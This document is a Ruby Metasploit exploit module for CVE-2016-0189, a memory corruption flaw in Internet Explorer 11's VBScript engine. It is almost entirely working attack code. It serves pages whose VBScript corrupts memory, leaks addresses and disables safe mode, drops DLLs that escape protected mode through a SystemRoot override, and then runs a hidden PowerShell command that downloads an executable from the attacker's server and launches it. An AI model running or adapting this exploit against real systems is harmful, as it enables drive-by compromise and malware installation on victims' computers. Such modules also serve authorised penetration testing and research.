##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Internet Explorer 11 VBScript Engine Memory Corruption",
        'Description' => %q{
          This module exploits the memory corruption vulnerability (CVE-2016-0189)
          present in the VBScript engine of Internet Explorer 11.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Theori', # Original RE research and exploitation
          'William Webb <william_webb[at]rapid7.com>' # Metasploit module
        ],
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic', {} ],
          [ 'Windows 10 with IE 11', {} ]
        ],
        'References' => [
          [ 'CVE', '2016-0189' ],
          [ 'MSB', 'MS16-051' ]
        ],
        'Arch' => ARCH_X64,
        'DisclosureDate' => '2016-05-10',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def setup
    # @stage2html = Rex::Text.rand_text_alphanum(6)
    @ieshell = "#{Rex::Text.rand_text_alphanumeric(6)}" # ieshell32.dll uri
    @localsrv = "#{Rex::Text.rand_text_alphanumeric(6)}" # ielocalserver.dll uri
    @pm_escape_html = "#{Rex::Text.rand_text_alphanumeric(6)}" # vbscipt_godmode.html
    @payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"
    @payload_exe = "#{Rex::Text.rand_text_alpha(6)}.exe"
    File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2016-0189", "ieshell32.dll"), "rb") { |f| @stage2dll = f.read }
    File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2016-0189", "ielocalserver.dll"), "rb") { |f| @localserver = f.read }
    super
  end

  def exploit_html(req_uri)
    template = <<-EOF
    <html>
    <head>
    <meta http-equiv="x-ua-compatible" content="IE=10">
    </head>
    <body>

        <script type="text/vbscript">
            Dim downloadFiles
            Dim cacheRegex
            Dim cacheFiles(3)

            Dim downloadState
            Dim pinTime

            Dim oFSO
            Dim oWS
            Dim shell

            function FindFile(path, regexFile)
                FindFile = ""
                For Each f in oFSO.GetFolder(path).Files
                    If regexFile.Test(f.Name) Then
                        FindFile = f.Name
                        Exit For
                    End If
                Next
            end function

            function SearchCache(path, regexFile)
                SearchCache = ""
                For Each fld in oFSO.GetFolder(path).SubFolders
                    'If DateDiff("s", pinTime, fld.DateLastModified) >= 0 Then
                        filename = FindFile(path & "\\" & fld.Name, regexFile)
                        If filename <> "" Then
                            SearchCache = path & "\\" & fld.Name & "\\" & filename
                            Exit For
                        End If
                    'End If
                Next
            end function

            function loaddll()
                On Error Resume Next

                Set wshSystemEnv = oWS.Environment("Process")
                tmpDir = oFSO.GetSpecialFolder(2)

                tmpSysDir = tmpDir & "\\System32"
                tmpShellFile = tmpSysDir & "\\shell32.dll"
                oFSO.CreateFolder(tmpSysDir)
                oFSO.MoveFile cacheFiles(0), tmpShellFile

                mydllFile = tmpDir & "\\" & downloadFiles(1)
                oFSO.MoveFile cacheFiles(1), mydllFile
                wshSystemEnv("MyDllPath") = mydllFile

                If (UBound(downloadFiles) = 2) Then
                    stage2File = tmpDir & "\\#{@pm_escape_html}.html"
                    oFSO.MoveFile cacheFiles(2), stage2File
                    wshSystemEnv("stage2file") = stage2File
                End If

                saveRoot = wshSystemEnv("SystemRoot")
                wshSystemEnv("SaveSystemRoot") = saveRoot
                wshSystemEnv("SystemRoot") = tmpDir
                Set shell = CreateObject("Shell.Application")

                If (UBound(downloadFiles) = 2) Then
                    call tolocal()
                End If
            end function

            Sub OnDownloadDone()
                If InStr(userAgent, "NT 5.") > 0 Then
                    cacheDir = oWS.ExpandEnvironmentStrings("%USERPROFILE%")
                    cacheDir = cacheDir & "\\Local Settings\\Temporary Internet Files\\Low\\IE"
                Else
                    cacheDir = oWS.ExpandEnvironmentStrings("%LOCALAPPDATA%")
                    cacheDir = cacheDir & "\\Microsoft\\Windows\\Temporary Internet Files\\Low\\IE"
                End If

                Set regexFile = new regexp
                regexFile.Pattern = cacheRegex(downloadState)
                cacheFiles(downloadState) = SearchCache(cacheDir, regexFile)
                If cacheFiles(downloadState) = "" Then
                    Exit Sub
                End If

                If downloadState = UBound(downloadFiles) Then
                    loaddll()
                Else
                    downloadState = downloadState + 1
                    DoDownload()
                End If
            End Sub

            Sub DoDownload()
                pinTime = Now
                call getdll(downloadFiles(downloadState))
            End Sub

        Sub runshell()
            downloadFiles = Array("#{@ieshell}.dll", "#{@localsrv}.dll", "#{@pm_escape_html}.html")
            cacheRegex = Array("^#{@ieshell}\\[\\d\\].dll$", "^#{@localsrv}\\[\\d\\].dll$", "^#{@pm_escape_html}\\[\\d\\].htm$")
            Set oFSO = CreateObject("Scripting.FileSystemObject")
            Set oWS = CreateObject("WScript.Shell")
            downloadState = 0
            DoDownload()
        End Sub

        </script>

        <script type="text/vbscript">
            Dim bl
            Dim plunge(32)
            Dim y(32)
            prefix = "%u4141%u4141"
            d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
            b = String(64000, "D")
            c = d & b
            x = UnEscape(c)

            Class ArrayWrapper
                Dim A

                Private Sub Class_Initialize
                    ReDim Preserve AA(1, 2000)
                    A = AA
                End Sub

                Public Sub Resize()
                    ReDim Preserve A(1, 1)
                End Sub
            End Class

            Class Spray
            End Class


            Function getAddr (arg1, s)
          bl = Null
          Set bl = New ArrayWrapper

          For i = 0 To 32
            Set plunge(i) = s
          Next

                Set bl.A(arg1, 2) = s

          Dim addr
                Dim i
                For i = 0 To 31
                    If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
                        addr = strToInt(Mid(y(i), 3 + 4, 2))
                    End If
            y(i) = Null
                Next

          If addr = Null Then
            document.location.href = document.location.href
            Return
          End If

          getAddr = addr
        End Function

        Function leakMem (arg1, addr)
          d = prefix & "%u0008%u4141%u4141%u4141"
                c = d & intToStr(addr) & b
                x = UnEscape(c)

          bl = Null
                Set bl = New ArrayWrapper

                Dim o
                o = bl.A(arg1, 2)

          leakMem = o
        End Function

        Sub overwrite (arg1, addr)
          d = prefix & "%u400C%u0000%u0000%u0000"
                c = d & intToStr(addr) & b
                x = UnEscape(c)

          bl = Null
                Set bl = New ArrayWrapper
                bl.A(arg1, 2) = CSng(0)
        End Sub

            Function exploit (arg1)
                Dim addr
                Dim csession
                Dim olescript
                Dim mem

          Set sp = New Spray
          addr = getAddr(arg1, sp)
          mem = leakMem(arg1, addr + 8)
          csession = strToInt(Mid(mem, 3, 2))
          mem = leakMem(arg1, csession + 4)
          olescript = strToInt(Mid(mem, 1, 2))
          overwrite arg1, olescript + &H174
          runshell()

        End Function

            Function triggerBug
                bl.Resize()

                Dim i
                For i = 0 To 32
                    y(i) = Mid(x, 1, 24000)
                Next
            End Function
        </script>

        <script type="text/javascript">
            var userAgent = navigator.userAgent;
            var oReq;
            function getdll(downloadFile)
            {
                oReq = new XMLHttpRequest();
                oReq.open("GET", "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{req_uri}/"+downloadFile, true);
                oReq.onreadystatechange = handler;
                oReq.send();
            }
            function handler()
            {
                if (oReq.readyState == 4 && oReq.status == 200) {
                    OnDownloadDone();
                }
            }
            function tolocal()
            {
                location.href = "http://localhost:5555/#{@pm_escape_html}.html";
            }
            function strToInt(s)
            {
                return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
            }
            function intToStr(x)
            {
                return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
            }
            var o;
            o = {"valueOf": function () {
                    triggerBug();
                    return 1;
                }};
            setTimeout(function() {exploit(o);}, 50);
        </script>
    </body>
    </html>
    EOF

    template
  end

  def stage2_html(req_uri)
    template = <<-EOF
    <html>
    <head>
    <meta http-equiv="x-ua-compatible" content="IE=10">
    </head>
    <body>
        <script type="text/vbscript">
            Dim aw
            Dim plunge(32)
            Dim y(32)
            prefix = "%u4141%u4141"
            d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
            b = String(64000, "D")
            c = d & b
            x = UnEscape(c)

            Class ArrayWrapper
                Dim A()
                Private Sub Class_Initialize
                    ReDim Preserve A(1, 2000)
                End Sub

                Public Sub Resize()
                    ReDim Preserve A(1, 1)
                End Sub
            End Class

            Class Dummy
            End Class

            Function getAddr (arg1, s)
                aw = Null
                Set aw = New ArrayWrapper

                For i = 0 To 32
                    Set plunge(i) = s
                Next

                Set aw.A(arg1, 2) = s

                Dim addr
                Dim i
                For i = 0 To 31
                    If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
                        addr = strToInt(Mid(y(i), 3 + 4, 2))
                    End If
                    y(i) = Null
                Next

                If addr = Null Then
                    document.location.href = document.location.href
                    Return
                End If

                getAddr = addr
            End Function

            Function leakMem (arg1, addr)
                d = prefix & "%u0008%u4141%u4141%u4141"
                c = d & intToStr(addr) & b
                x = UnEscape(c)

                aw = Null
                Set aw = New ArrayWrapper

                Dim o
                o = aw.A(arg1, 2)

                leakMem = o
            End Function

            Sub overwrite (arg1, addr)
                d = prefix & "%u400C%u0000%u0000%u0000"
                c = d & intToStr(addr) & b
                x = UnEscape(c)

                aw = Null
                Set aw = New ArrayWrapper
                aw.A(arg1, 2) = CSng(0)
            End Sub

            Function exploit (arg1)
                Dim addr
                Dim csession
                Dim olescript
                Dim mem

                Set dm = New Dummy
                addr = getAddr(arg1, dm)
                mem = leakMem(arg1, addr + 8)
                csession = strToInt(Mid(mem, 3, 2))
                mem = leakMem(arg1, csession + 4)
                olescript = strToInt(Mid(mem, 1, 2))
                overwrite arg1, olescript + &H174

                Set shObj = CreateObject("Wscript.shell")
                shObj.Run("PowerShell -nologo -WindowStyle Hidden $d=$env:temp+'\\#{@payload_exe}';(New-Object System.Net.WebClient).DownloadFile('http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{req_uri}/#{@payload_uri}',$d);Start-Process $d")
                shObj.Run("%temp%\\#{@payload_exe}")

            End Function

            Function triggerBug
                aw.Resize()

                Dim i
                For i = 0 To 32
                    y(i) = Mid(x, 1, 24000)
                Next
            End Function
        </script>

        <script type="text/javascript">
            function strToInt(s)
            {
                return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
            }
            function intToStr(x)
            {
                return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
            }
            var o;
            o = {"valueOf": function () {
                    triggerBug();
                    return 1;
                }};
            setTimeout(function() {exploit(o);}, 50);
        </script>
    </body>
    </html>

    EOF
    template
  end

  def on_request_uri(cli, request)
    # used for some debugging stuff
    ies = @ieshell
    ls = @localsrv
    pm = @pm_escape_html

    print_status("Received request: #{request.uri}")
    if request.uri =~ /.*#{ies}.*$/
      print_status("Sending stage two DLL ...")
      send_response(cli, @stage2dll, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
    elsif request.uri =~ /.*#{ls}.*$/
      print_status("Sending local server DLL ...")
      send_response(cli, @localserver, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
    elsif request.uri =~ /.*#{pm}.*$/
      rq = "#{get_resource.chomp('/')}"
      gm = stage2_html(rq)
      send_response(cli, gm, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
    elsif request.uri =~ /.*#{@payload_uri}$/
      return if ((payload = regenerate_payload(cli)) == nil)

      print_status("Sending payload ...")
      send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
    else
      print_status("Sending main page ..")
      send_response(cli, exploit_html(request.uri))
    end
  end
end
